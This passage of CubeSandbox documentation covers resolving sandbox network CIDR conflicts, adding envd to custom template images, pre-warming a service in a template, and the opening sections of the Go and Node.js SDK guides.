"Module": "Cubelet", "@timestamp": "2026-05-20T10:10:16.896681441-04:00", "LogLevel": "ERROR", "CalleeEndpoint": "", "FunctionType": "cubebox", "Version": "release", "InstanceType": "cubebox", "LogContent": "Create fail:requestID:\"069f93aa-927d-4436-aac0-cc0aa8a89ca9\" ret:{ ret_code:PortBindingFailed ret_msg:\"The initialization timeout or detecting 192.168.1.40 port failed.\"} sandboxID:\"16157c528b224e9eacc6307a2af5705e\" sandboxIP:\"192.168.1.40\" port_mappings:{container_port:49983 host_port:20588} port_mappings:{container_port:49999 host_port:20589}", "Caller": "cubebox-service", "CalleeAction": "Create", "Action": "Create", "LocalIp": "192.168.1.123", "CodeLine": "", "RequestId": "069f93aa-927d-4436-aac0-cc0aa8a89ca9" } ``` If the host has overlapping routes at the same time: ```bash $ ip route 192.168.0.0/18 dev cube-dev proto kernel scope link src 192.168.0.1 192.168.1.0/24 dev enp56s0f0 proto kernel scope link src 192.168.1.123 metric 100 ``` `192.168.1.0/24` is more specific than `/18`, so accessing `192.168.1.40` may go through the real physical NIC `enp56s0f0` instead of Cube's `cube-dev` / TAP path, and Cubelet cannot reach the real sandbox when probing the sandbox port. ## Resolution Stop the services first: ```bash sudo systemctl stop 'cube-sandbox-*.target' ``` Change the Cubelet network CIDR to a range that does not overlap with the host LAN. For example, change it to `172.31.64.0/18`: ```bash sudo sed -i 's#cidr = "192.168.0.0/18"#cidr = "172.31.64.0/18"#' \ /usr/local/services/cubetoolbox/Cubelet/config/config.toml ``` Remove the old persistent TAP devices and the `cube-dev` interface: ```bash sudo ip link delete cube-dev 2>/dev/null || true ip tuntap show | awk -F: '/^z[0-9]+\./{print $1}' \ | xargs -r -n1 -I{} sudo ip tuntap del dev {} mode tap ``` Restart the services: ```bash sudo systemctl start 'cube-sandbox-*.target' ``` After the sandbox CIDR no longer overlaps with the host LAN, recreate the template. The template creation should complete successfully. ## Related: Changing the CIDR (Residual `cube-dev`) Stopping Cube Sandbox does NOT remove the `cube-dev` dummy interface or the persistent `z<ip>` TAP devices — they linger until a reboot or manual cleanup. A same-CIDR reinstall reuses the existing `cube-dev` automatically, no action needed; but **changing the CIDR** while a residual `cube-dev` overlaps the new range is rejected, because it is disruptive: ``` [one-click] ERROR: CUBE_SANDBOX_NETWORK_CIDR '192.168.0.0/17' overlaps an existing cube-dev network (192.168.0.0/18). Changing the sandbox CIDR on a host that already has a cube network is disruptive: the old cube-dev and the persistent z* TAP devices are left stale. A reboot alone is NOT enough -- the systemd target is enabled and Cubelet embedded network runtime rebuilds the old network from config.toml on boot. To change the CIDR, fully reset the cube network first: sudo systemctl stop 'cube-sandbox-*.target' sudo ip link delete cube-dev 2>/dev/null || true ip tuntap show | awk -F: '/^z[0-9]+\./{print $1}' \ | xargs -r -n1 -I{} sudo ip tuntap del dev {} mode tap then re-run install with the new CIDR. Or keep the existing CIDR (192.168.0.0/18) to reuse the current network. To bypass this check (not recommended), set: CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK=1 ``` A reboot alone is NOT enough — the systemd target is enabled, so on boot the Cubelet embedded network runtime rebuilds `cube-dev` and the TAP devices from `config.toml`. Perform the deterministic reset shown in the error, then re-run the installer with the new `CUBE_SANDBOX_NETWORK_CIDR`. If the new CIDR does not overlap the residual `cube-dev`, the pre-flight allows it and the Cubelet embedded network runtime reconciles `cube-dev` to the new network. --- --- url: https://cubesandbox.com/guide/troubleshooting/templates.md --- # Templates Troubleshooting | Title | Description | Related Issues | | --- | --- | --- | | Custom `tpl create-from-image` keeps timing out | Two common root causes: (1) the custom image does not start the HTTP service configured by `--probe` / `--probe-path` (for an `envd`-based image, this is commonly `49983/health`); (2) the host is in a nested-virt environment (e.g. AWS EC2) — missing instruction-set bits (XSAVE family) panic the MicroVM, and doubled VM-exits on page faults slow the in-guest agent enough to blow `VsockServerReady` / probe budget. Fixes: verify the configured HTTP probe locally; follow the [Custom Template Images](../tutorials/bring-your-own-image.md) tutorial when the image needs `envd`; switch to PVM deployment to avoid nested virt. | [#312](https://github.com/TencentCloud/CubeSandbox/issues/312), [#95](https://github.com/TencentCloud/CubeSandbox/issues/95), [#94](https://github.com/TencentCloud/CubeSandbox/issues/94), [#161](https://github.com/TencentCloud/CubeSandbox/issues/161), [#253](https://github.com/TencentCloud/CubeSandbox/issues/253) | | Template build fails with an RPC deadline | Check the job phase before changing a timeout. `DISTRIBUTING` is bounded by `create_image_timeout_insec`; `CREATING_TEMPLATE` is bounded by `app_snapshot_timeout_insec`. Inspect node health, free disk space, network connectivity, and Cubelet logs first so a larger timeout does not hide a failed node. If normal work is merely slow, adjust the relevant value in CubeMaster's `cubelet_conf` and restart CubeMaster. | [CubeMaster settings](../service-management.md#cubemaster-settings) | | Template build fails due to insufficient disk space | Building a template requires unpacking the OCI image and writing it to disk, which consumes a lot of temporary space. When the partition holding `/tmp`, `/data/cubelet` or `/usr/local/services/cubetoolbox/` runs low, the template can stall at `UNPACKING` / `BUILDING_EXT4`, or surface as mkfs.ext4 errors such as directory block checksum mismatch or "Ext2 inode is not a directory". | [#240](https://github.com/TencentCloud/CubeSandbox/issues/240), [#251](https://github.com/TencentCloud/CubeSandbox/issues/251) | | Template Creation Times Out When the Sandbox CIDR Overlaps the LAN | The one-click deployment defaults the sandbox network to `192.168.0.0/18`. If the host LAN also uses `192.168.1.x`, Cube may allocate sandbox IPs that overlap the physical network, causing template creation or port probing to fail with `context deadline exceeded`. Change the Cubelet CIDR to a non-overlapping range and remove the old TAP devices plus `cube-dev` before restarting. | [Guide](./local-network-cidr-conflict.md) | --- --- url: https://cubesandbox.com/guide/tutorials/bring-your-own-image.md --- # Custom Template Images This tutorial shows how to add `envd` to **your own application or container image** for use with the CubeSandbox SDK and E2B SDK. For the general workflow to create templates from OCI images and configure application ports and readiness probes, see [Create Templates from OCI Image](./template-from-image.md). *** ## 1. When does my image need `envd`? `envd` is the data-plane service that the CubeSandbox SDK and E2B SDK use for sandbox operations such as running commands, reading and writing files, and opening PTY sessions: | Capability | `envd` interface inside the sandbox | Without `envd` | | --- | --- | --- | | `envd` health check (can be used as the template probe) | `GET :49983/health` → 204 | This probe endpoint is unavailable | | `Sandbox.commands.run()` | Process API on `:49983` | Command APIs are unavailable | | `Sandbox.files.read/write()` | Files API on `:49983` | File APIs are unavailable | | Create-time environment variable initialization | `POST :49983/init` | Sandbox creation with environment variables fails | For interactive development and code-execution sandboxes, keeping `envd` is recommended so you can use the SDK to run commands, work with files, and troubleshoot the sandbox. An image that only serves its own application and does not use these capabilities can omit `envd`; configure its template probe to use the application's own HTTP health endpoint. ## 2. Quick start: build on top of `cubesandbox-base` `cubesandbox-base` is a plain `ubuntu:22.04` with `envd` preinstalled at `/usr/bin/envd` and a generic entrypoint that runs `envd` in the background while honoring any `CMD` you supply. Three steps get you to a working template: **write a Dockerfile → build and push → create the template**. > Prefer to read a runnable end-to-end example? See > [`examples/cubesandbox-base-nginx`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cubesandbox-base-nginx) > in the repo — a minimal demo that stacks nginx on top of > `cubesandbox-base`. ### 2.1 Write a Dockerfile ```dockerfile FROM ghcr.io/tencentcloud/cubesandbox-base:2026.16 # Install your own tooling RUN apt-get update \ && apt-get install -y --no-install-recommends python3 python3-pip \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir pandas matplotlib numpy # Optional: if your app needs to be the foreground process, set CMD here. # envd stays alive in the background. # CMD ["python3", "/srv/app.py"] ``` ### 2.2 Build and push ```bash docker build -t my-registry.example.com/my-team/my-sandbox:v1 . docker push my-registry.example.com/my-team/my-sandbox:v1 ``` The registry must be reachable from your Cube cluster. ::: tip Plain HTTP registry Prefix the image with `http://`, for example `http://my-registry.example.com/my-team/my-sandbox:v1`. ::: ### 2.3 Create a Cube template Expose `49983` (envd) plus whatever ports your own application listens on: ```bash cubemastercli tpl create-from-image \ --image my-registry.example.com/my-team/my-sandbox:v1 \ --writable-layer-size 1G \ --expose-port 49983 \ --expose-port <your-custom-port> \ --probe 49983 \ --probe-path /health ``` Once you have a `template_id`, you can use the CubeSandbox SDK or E2B SDK to create sandboxes from it. See [Create Templates from OCI Image](./template-from-image.md) for an example. For practical examples, see [Local and Remote Image Build Examples](./template-build-practice.md). ## 3. Inject `envd` into an Existing Image If an existing image does not contain `envd`, either copy it from `cubesandbox-base` while building a custom image or let `cubemastercli` inject it during `create-from-image`. ### Copy It in the Dockerfile When you want to bring your own custom image, copy `envd` and the entrypoint **out of** `cubesandbox-base` with a `COPY --from=` stage: ```dockerfile FROM e2bdev/code-interpreter:latest USER root # Pull envd and the generic entrypoint from cubesandbox-base. COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/bin/envd /usr/bin/envd COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/local/bin/cube-entrypoint.sh /usr/local/bin/cube-entrypoint.sh # The upstream image already has its own entrypoint/CMD. Either wrap it # with cube-entrypoint.sh (preferred), or start envd manually from your # own script — see section 4 for the manual pattern. ENTRYPOINT ["/usr/local/bin/cube-entrypoint.sh"] CMD ["/bin/sh", "-c", "sudo --preserve-env=E2B_LOCAL /root/.jupyter/start-up.sh"] ``` A second example, starting from a slim Python image: ```dockerfile FROM python:3.11-slim COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/bin/envd /usr/bin/envd COPY --from=ghcr.io/tencentcloud/cubesandbox-base:2026.16 \ /usr/local/bin/cube-entrypoint.sh /usr/local/bin/cube-entrypoint.sh RUN apt-get update \ && apt-get install -y --no-install-recommends curl \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir fastapi uvicorn COPY app.py /srv/app.py EXPOSE 49983 8000 ENTRYPOINT ["/usr/local/bin/cube-entrypoint.sh"] CMD ["uvicorn", "app:app", "--app-dir", "/srv", "--host", "0.0.0.0", "--port", "8000"] ``` Section 5 runs `curl` inside the container. If your base image does not include `curl`, install it as part of the image build before running that check. Build, push and template creation are identical to sections 2.2 / 2.3. ### Inject It During Template Creation If you do not want to modify the Dockerfile, use `--enable-inject-envd` to upload and inject `envd` while creating the template: ```bash cubemastercli tpl create-from-image \ --image <your-image> \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health \ --enable-inject-envd ``` | Option | Description | | --- | --- | | `--enable-inject-envd` | Upload an `envd` binary from `cubemastercli` and write it into the template rootfs. | | `--envd-path` | A local path on the machine running `cubemastercli`; used only with `--enable-inject-envd`. If omitted, the CLI uses its build-time embedded default `envd` when available. | `--envd-path` refers to the machine running the CLI, not the CubeMaster host. The CLI uploads the binary in the multipart `create-from-image` request. CubeMaster validates it, writes it to `/usr/local/bin/envd` in the template rootfs, and includes its SHA-256 in the rootfs artifact fingerprint so artifacts built with different `envd` binaries are not reused interchangeably. The uploaded file must be a non-empty ELF binary no larger than 16 MiB and compatible with the target rootfs operating system and CPU architecture. For example, a Linux x86\_64 image requires a Linux x86\_64 `envd` binary. If `cubemastercli` was built without an embedded default `envd`, `--envd-path` is required. To build the CLI with a default binary, prepare `envd` and run: ```bash make cubemastercli ENVD_LOCAL_PATH=/path/to/envd ``` For the `cubebox` instance type, CubeMaster also preserves the injection annotation and automatically wraps the main container command when creating a sandbox: it starts `/usr/local/bin/envd` in the background, executes the image's original command, and adds port `49983` to the exposed ports. The original image entrypoint therefore does not need to be changed when using this method. The command wrapper is not applied to non-`cubebox` instance types. ## 4. The entrypoint contract `cube-entrypoint.sh` implements a simple "envd-in-the-background, your app in the foreground" pattern: 1. It always starts `envd -port "${ENVD_PORT:-49983}"` in the background so that `/health` is reachable within about a second of container startup. 2. If the container was started **with** a user `CMD`, the script `exec`s that command. `envd` keeps running in the background; the user process owns `stdout`/`stderr` and receives `SIGTERM` on stop. 3. If the container was started **without** a `CMD`, the script simply waits on `envd`, keeping it as the foreground process. Environment variables: | Variable | Default | Purpose | | ------------------ | ------------------- | ---------------------------------------------------- | | `ENVD_PORT` | `49983` | Port `envd` listens on. | | `ENVD_EXTRA_ARGS` | *(empty)* | Extra flags passed after `-port`. `-isnotfc` is appended automatically if not already present, to skip Firecracker MMDS lookup. | | `ENVD_LOG_FILE` | `/var/log/envd.log` | File that captures envd stdout/stderr. Use `-` to inherit the container stdio. | | `ENVD_BIN` | `/usr/bin/envd` | Override if you install envd elsewhere. | ### Starting envd manually If you already have a non-trivial entrypoint of your own and don't want to delegate to `cube-entrypoint.sh`, just add one line before handing control to your main process: ```bash #!/bin/bash # your-entrypoint.sh # Start envd in the background. # -isnotfc is REQUIRED: it tells envd to skip the Firecracker MMDS lookup # at 169.254.169.254. CubeSandbox does not use Firecracker, so the MMDS # service does not exist. Without this flag envd will attempt to access # the non-existent MMDS, which may cause various problems such as network # timeouts, /init delays, or env_vars injection failures. /usr/bin/envd -port 49983 -isnotfc >/var/log/envd.log 2>&1 & # ... your usual startup sequence ... exec "$@" ``` ## 5. Verifying the image locally (optional) Before creating a template, check that the image stays running with its default startup command and that envd responds. Run the following steps in the same terminal; the host needs Docker, and the image needs `curl` and `/usr/bin/envd`. **1. Start the image.** ```bash IMG=my-registry.example.com/my-team/my-sandbox:v1 cid=$(docker create "$IMG") && docker start "$cid" ``` If `docker create` reports an error, resolve it before continuing. If `docker start` reports an error, use the container ID in `$cid` to inspect the failure in step 3. If both commands succeed, continue to step 2: a successful `docker start` does not guarantee that the container stays running. **2. Check the container and envd.** ```bash docker inspect --format '{{json .State}}' "$cid" ``` The state must show `"Status":"running"` and `"Running":true`. If it shows `exited`, go to step 3, even if `ExitCode` is `0`: the container must stay running to serve sandbox requests. ```bash docker exec "$cid" curl -sS --noproxy '*' --connect-timeout 1 --max-time 3 \ -o /dev/null -w 'envd /health => %{http_code}\n' \ http://127.0.0.1:49983/health # Expected: envd /health => 204 docker exec "$cid" /usr/bin/envd -version # => 2026.16 ``` The health request must complete successfully and print `204`; any other HTTP code, including `200` or `500`, is a failed check. If envd is still starting, wait a few seconds and retry the health request. If it still fails, go to step 3. The version command must also succeed; compare its output with the envd version you installed (`2026.16` for the base image used above). Run the state check once more after both probes: ```bash docker inspect --format '{{json .State}}' "$cid" ``` The state must still show `"Status":"running"` and `"Running":true`. If the container has exited, go to step 3 even if both probes succeeded. A running container, a successful `204` response, and the expected version confirm basic local startup and envd readiness. If the final state check also passes, skip to step 4 to remove the test container. Then create a template and verify the SDK operations your application uses. Local checks do not exercise cluster image pulling, sandbox networking, or envd `/init`. **3. If a check fails, inspect the state and logs before removing the container.** ```bash docker inspect --format '{{json .State}}' "$cid" docker logs --tail 100 "$cid" logdir=$(mktemp -d) docker cp "$cid":/var/log/envd.log "$logdir/envd.log" && tail -n 100 "$logdir/envd.log" ``` Use `ExitCode`, `OOMKilled`, and `Error` in the state output together with the startup logs to find the cause. `docker cp` can retrieve the envd log even when the container has stopped. If that file does not exist, check the startup output and the log path configured by your entrypoint. After collecting the diagnostics, remove the container in step 4. Fix the image, then repeat from step 1. **4. Clean up after verification or troubleshooting.** ```bash docker rm -f "$cid" ``` If you copied logs, they remain in `$logdir` for inspection and can be deleted when no longer needed. ## 6. Troubleshooting | Symptom | Likely cause | Fix | | --------------------------------------------- | --------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | | Template creation fails the readiness probe | envd did not start / started on the wrong port | Ensure `ENTRYPOINT` invokes `cube-entrypoint.sh` **or** your own script runs `envd -port 49983 &` before `exec`. | | `curl :49983/health` returns `000` | Nothing is listening; entrypoint replaced | Check docker inspect --format '{{json .Config.Entrypoint}}'; keep `cube-entrypoint.sh` as the wrapper. | | envd exits immediately | Version mismatch between binary and kernel/init expectations | Verify with `docker exec ... /usr/bin/envd -version`; re-copy from the pinned base tag. | | envd `/init` slow or `create_time env_vars` fail | `-isnotfc` flag missing; envd attempts invalid MMDS access at `169.254.169.254` | Use `cube-entrypoint.sh` (appends `-isnotfc` automatically), or add `-isnotfc` to the command line when starting envd manually. | | Port 49983 conflicts with your own service | Your app also listens on 49983 | Move your app to a different port and expose both with `--expose-port`. | | `sudo: command not found` in your CMD | You started `FROM` a `-slim` / `-alpine` image without sudo | Either `apt-get install -y sudo`, or drop `sudo` from your entrypoint — `cube-entrypoint.sh` doesn't require it. | | Template creation times out in `PULLING` | Registry unreachable from Cube nodes | Push to a registry the cluster can reach, or supply `--registry-username` / `--registry-password`. | ## 7. Advanced — rebuild the base image yourself The base image is produced by a single GitHub Actions workflow in this repository: [`.github/workflows/build-envd-base-image.yml`](https://github.com/TencentCloud/CubeSandbox/blob/master/.github/workflows/build-envd-base-image.yml). It checks out `e2b-dev/infra` at the chosen tag (default `2026.16`), compiles `envd` with Go 1.25.4 in-place on native `linux/amd64` and `linux/arm64` runners, builds `docker/Dockerfile.cube-base`, runs a `:49983/health` smoke test on each architecture, then publishes a multi-arch manifest list to `ghcr.io/tencentcloud/cubesandbox-base`. --- --- url: https://cubesandbox.com/guide/tutorials/examples.md --- # Examples Runnable examples demonstrating CubeSandbox features and integrations. Follow each project's README for prerequisites and setup instructions. ## Getting Started and Images | Example | Description | | --- | --- | | [Code Sandbox Quickstart](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/code-sandbox-quickstart) | Create a sandbox, run Python and shell commands, work with files, and try core E2B-compatible APIs. | | [Browser Sandbox (Playwright)](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/browser-sandbox) | Run headless Chromium in a MicroVM and control it remotely through Playwright over CDP. | | [Custom nginx Image](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cubesandbox-base-nginx) | Build a minimal nginx image on top of `cubesandbox-base` and test the custom-template-image flow end to end. | | [Ubuntu Desktop Sandbox](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/ubuntu-desktop) | Run an Ubuntu 22.04 GNOME desktop in the browser via noVNC, with screenshots and scripted GUI automation from the SDK. | ## Agents and Framework Integrations | Example | Description | | --- | --- | | [Claude Code](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/claude-code-integration) | Redirect Claude Code Bash tool calls into isolated CubeSandbox MicroVMs. | | [LangChain](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration) | Use CubeSandbox as a command-execution tool with both LangChain 0.x and 1.x agents. | | [Pi Agent](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) | Connect Pi Agent tool execution to a CubeSandbox environment. | | [OpenClaw](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openclaw-integration) | Configure the OpenClaw skill so agents can execute code in isolated MicroVMs. | | [OpenAI Agents SDK](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-example) | Connect `E2BSandboxClient` to CubeSandbox, including Shell Agent, pause/resume, and SWE-bench flows. | | [OpenAI Agents + Code Interpreter](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-code-interpreter) | Run data-analysis agents using either generic E2B execution or a stateful Jupyter kernel. | | [SWE-bench with mini-swe-agent](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/mini-rl-training) | Automate SWE-bench coding tasks in isolated sandboxes with multi-model support and an RL training workflow. | ## Networking and Ingress | Example | Description | | --- | --- | | [Network Policy](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/network-policy) | Try air-gapped, CIDR allowlist, CIDR denylist, and runtime policy-update scenarios. | | [Route-Aware Egress](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/route-aware-egress) | Verify sandbox egress through host routes when `cube-router` is enabled. | | [gRPC Ingress](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/grpc-ingress) | Connect a native gRPC client through CubeProxy's plaintext ingress on port 9090. | | [E2B Dev Sidecar](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/e2b-dev-sidecar) | Access a remote Cube cluster from an E2B SDK development environment without wildcard DNS. | ## Storage, Memory, and State | Example | Description | | --- | --- | | [Host Mount](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/host-mount) | Mount host directories read-only or read-write into a sandbox at creation time. | | [Snapshot, Rollback, and Clone](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone) | Run standalone SDK examples for snapshots, rollback, cloning, state preservation, and concurrency. | | [ivshmem](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/ivshmem) | Enable host/guest shared memory and try a ring-buffer protocol and mmap throughput benchmark. | | [Tencent Cloud COS Volume Plugin](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md) | Deploy and exercise the binary or RPC COS volume plugin through its complete lifecycle. | | [S3-Compatible Volume Plugin](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.md) | Connect AWS S3, Tencent Cloud COS, Cloudflare R2, MinIO, or another S3-compatible backend. | | [JuiceFS Volume Plugin](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/juicefs/README.md) | A POSIX file system over object storage: one file system, `--subdir` per volume, several sandboxes sharing a volume and seeing each other's writes | ## Benchmarking | Example | Description | | --- | --- | | [cube-bench](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench) | Measure sandbox creation and deletion latency at configurable concurrency, with a TUI, percentile reports, and JSON export. | ::: tip Most SDK examples use the same environment variables (`E2B_API_URL`, `E2B_API_KEY`, and `CUBE_TEMPLATE_ID`). See [Quick Start](../quickstart.md) before running them. ::: --- --- url: https://cubesandbox.com/guide/tutorials/prewarm-template-service.md --- # Pre-warm a Service in a Template A regular template can preinstall an operating system and dependencies, but an application may still perform expensive initialization after every sandbox starts—for example, loading an SDK, creating an agent session, scanning a workspace, or building a local cache. CubeSandbox can wait for that work to finish before taking the template snapshot, allowing new sandboxes to restore an already initialized process and memory state. This guide uses [`examples/pi-agent-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/pi-agent-integration) to demonstrate the pattern. Read [Templates Overview](../templates.md) first if you are unfamiliar with how a probe determines when the snapshot is taken. ## How It Works The key to a pre-warmed template is an accurate readiness endpoint: 1. The image starts a resident service. 2. The service performs the initialization that should be pre-warmed. 3. Its readiness endpoint returns HTTP 2xx only after initialization completes. 4. CubeSandbox observes the successful probe and saves the filesystem, memory, and process state. 5. Sandboxes created from the template restore the resident service ready to accept work. The readiness endpoint should not succeed merely because the HTTP server has started listening. Return 503 until every state that must be preserved in the snapshot is ready. ## Pi Agent Warmup Example The regular Pi Agent workflow starts a new process for every task. The example warmup adapter instead runs as the image's resident process and creates a Pi SDK `AgentSession` during startup. `GET /readyz` returns 200 only after that session is initialized. ### 1. Prepare the Resident Service The implementation is in [`pi_warmup_adapter.mjs`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/pi-agent-integration/pi_warmup_adapter.mjs). Its core pattern is: ```javascript let ready = false; const server = http.createServer((request, response) => { if (request.method === "GET" && request.url === "/readyz") { response.writeHead(ready ? 200 : 503); return response.end(); } // Handle application requests after restore. }); session = await createAgentSession(/* ... */); ready = true; server.listen(8080, "0.0.0.0"); ``` The complete adapter also exposes `POST /prompt` to send work to the restored resident `AgentSession`. ### 2. Make the Service the Image Command [`Dockerfile.warmup`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/pi-agent-integration/Dockerfile.warmup) builds on the Pi Agent image, copies the adapter, and sets it as the image `CMD`: ```dockerfile ARG PI_AGENT_IMAGE=pi-agent-cube:latest FROM ${PI_AGENT_IMAGE} COPY pi_warmup_adapter.mjs /tmp/pi_warmup_adapter.mjs RUN PI_PACKAGE_DIR="$(npm root -g)/@earendil-works/pi-coding-agent" \ && install -m 0755 /tmp/pi_warmup_adapter.mjs \ "${PI_PACKAGE_DIR}/pi_warmup_adapter.mjs" \ && rm /tmp/pi_warmup_adapter.mjs ENV PI_WARMUP_HOST=0.0.0.0 \ PI_WARMUP_PORT=8080 EXPOSE 49983 8080 CMD ["sh", "-c", "exec node \"$(npm root -g)/@earendil-works/pi-coding-agent/pi_warmup_adapter.mjs\""] ``` Port `8080` serves application readiness and task requests. Port `49983` is used by `envd` from the base image to retain SDK command, file, and terminal capabilities. ### 3. Build and Push the Image From the repository root, build the base image followed by the warmup image: ```bash docker build --platform linux/amd64 \ -t localhost:5000/pi-agent-cube:latest \ examples/pi-agent-integration docker build --platform linux/amd64 \ -f examples/pi-agent-integration/Dockerfile.warmup \ --build-arg PI_AGENT_IMAGE=localhost:5000/pi-agent-cube:latest \ -t localhost:5000/pi-agent-warmup-cube:latest \ examples/pi-agent-integration docker push localhost:5000/pi-agent-cube:latest docker push localhost:5000/pi-agent-warmup-cube:latest ``` Replace the example address with an image registry reachable by the CubeSandbox cluster. ### 4. Build the Template Using the Application Probe Expose both `envd` and the warmup adapter, but point the probe at `/readyz`, which represents completion of Pi session initialization: ```bash cubemastercli tpl create-from-image \ --image localhost:5000/pi-agent-warmup-cube:latest \ --alias pi-warmup \ --writable-layer-size 4G \ --expose-port 49983 \ --expose-port 8080 \ --probe 8080 \ --probe-path /readyz ``` Do not use `49983/health` as the warmup-complete signal in this example. It only proves that `envd` is ready, not that the Pi `AgentSession` has been created. Run `cubemastercli tpl watch --job-id <job-id>` until the job reaches `READY`. Sandboxes created from the resulting template restore the initialized Node process and Pi session. ## Designing Your Own Pre-warmed Service Follow these principles when applying the same pattern to another service: * **Probe the real warmup state.** Return 2xx only after model loading, runtime initialization, or cache construction has completed. * **Keep the process resident.** The initialized process must remain running to be restored with the memory snapshot. * **Do not bake secrets into the template.** Do not supply API keys, tokens, or user data during the build. Provide them after restore through a request, secret vault, or another runtime mechanism. * **Treat external connections carefully.** Database connections, long-lived sockets, and temporary credentials may be invalid after restore. Detect and recreate them instead of assuming snapshotted connections remain usable. * **Define the concurrency model.** One adapter in the Pi example owns one session and returns HTTP 409 for concurrent work. Implement a pool or assign one task per sandbox when concurrency is required. * **Keep readiness checks lightweight.** A probe should read local state without repeating expensive initialization or producing external side effects. ## Troubleshooting | Symptom | What to check | | --- | --- | | Template build keeps waiting for the probe | Confirm that the service listens on `0.0.0.0`, the port and path match, and initialization logs show success. | | Template is READY, but the first request still initializes the app | The readiness endpoint succeeds too early; set the ready state only after full initialization. | | SDK command or file APIs are unavailable | Confirm the image contains `envd` and exposes it with `--expose-port 49983`. | | External requests fail after restore | Check whether connections or credentials created before the snapshot expired, and recreate them after restore. | For the complete Pi Agent build, invocation, and network-policy example, see [`examples/pi-agent-integration/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/pi-agent-integration/README.md). --- --- url: https://cubesandbox.com/guide/tutorials/sdk/go.md --- # Go SDK The CubeSandbox Go SDK covers sandbox lifecycle management, code execution, commands, PTY sessions, filesystem operations, snapshots, cloning, rollback, volumes, and network policy. ## Installation ```bash go get github.com/tencentcloud/CubeSandbox/sdk/go ``` ## Configuration ```bash export CUBE_API_URL=http://127.0.0.1:3000 export CUBE_TEMPLATE_ID=<your-template-id> # Optional remote data-plane access export CUBE_PROXY_NODE_IP=<cubeproxy-node-ip> export CUBE_PROXY_PORT_HTTP=80 export CUBE_PROXY_SCHEME=http export CUBE_SANDBOX_DOMAIN=cube.app ``` `NewConfigFromEnv` also reads `E2B_API_URL` and `E2B_API_KEY`. Cube-specific variables take precedence. ## Quick start ```go package main import ( "context" "fmt" cubesandbox "github.com/tencentcloud/CubeSandbox/sdk/go" ) func main() { ctx := context.Background() client := cubesandbox.NewClient(cubesandbox.NewConfigFromEnv()) defer client.Close() sandbox, err := client.Create(ctx, cubesandbox.CreateOptions{}) if err != nil { panic(err) } defer sandbox.Kill(ctx) result, err := sandbox.RunCode(ctx, "x = 41\nx + 1", cubesandbox.RunCodeOptions{}) if err != nil { panic(err) } fmt.Println(result.Text) } ``` `Client.Close` releases local idle HTTP connections; it does not destroy remote sandboxes. Use `Sandbox.Kill` for cleanup or `Sandbox.Pause` to preserve a sandbox for later reconnection. ## Main capabilities * Execute code and shell commands. * Create, reconnect to, resize, and control interactive PTYs. * Perform complete filesystem operations and watch directories. * Create snapshots, roll back, and clone concurrently. * Manage persistent volumes and host-directory mounts. * Pause and reconnect to sandboxes. * Configure node placement, remote proxy access, and L3/L4 or L7 egress policy. For detailed method descriptions and integration-test instructions, see the [Go SDK README](https://github.com/TencentCloud/CubeSandbox/blob/master/sdk/go/README.md). --- --- url: https://cubesandbox.com/guide/tutorials/sdk/nodejs.md --- # Node.js SDK `@cubesandbox/sdk` is the official Node.js and TypeScript SDK for CubeSandbox. Its Promise-based, camelCase API follows the Python SDK's feature set while using idiomatic `async`/`await`. ## Requirements and installation * Node.js 18 or later ```bash npm install @cubesandbox/sdk ``` The package includes ESM and CommonJS builds and TypeScript declarations. ## Configuration ```bash export CUBE_API_URL=http://<your-cubeapi-host>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # Required for remote access when *.cube.app cannot be resolved export CUBE_PROXY_NODE_IP=<your-cubeproxy-node-ip> ``` ## Quick start ```ts import { Sandbox } from "@cubesandbox/sdk"; const sandbox = await Sandbox.create(); try { const code = await sandbox.runCode('print("hello from CubeSandbox")'); console.log(code.logs.stdout); const command = await sandbox.commands.run("uname -a"); console.log(command.stdout); await sandbox.files.write("/tmp/hello.txt", "Hello, world!"); console.log(await sandbox.files.read("/tmp/hello.txt")); } finally { await sandbox.kill(); } ``` With TypeScript 5.2 and Node.js 20 or later, explicit resource management can clean up automatically: ```ts await using sandbox = await Sandbox.create(); const result = await sandbox.runCode("1 + 1"); console.log(result.text); ``` ## Main capabilities * Execute code with persistent variables, streaming output, and idle timeouts. * Run shell commands and interactive PTY sessions. * Perform complete filesystem operations and watch directories. * Pause, reconnect, snapshot, roll back, and clone sandboxes. * Manage persistent volumes and host-directory mounts. * Configure node placement and L3/L4 or L7 network policy. * Use typed APIs from either ESM or CommonJS applications. For the full API reference, timeout semantics, and development instructions, see the [Node.js SDK 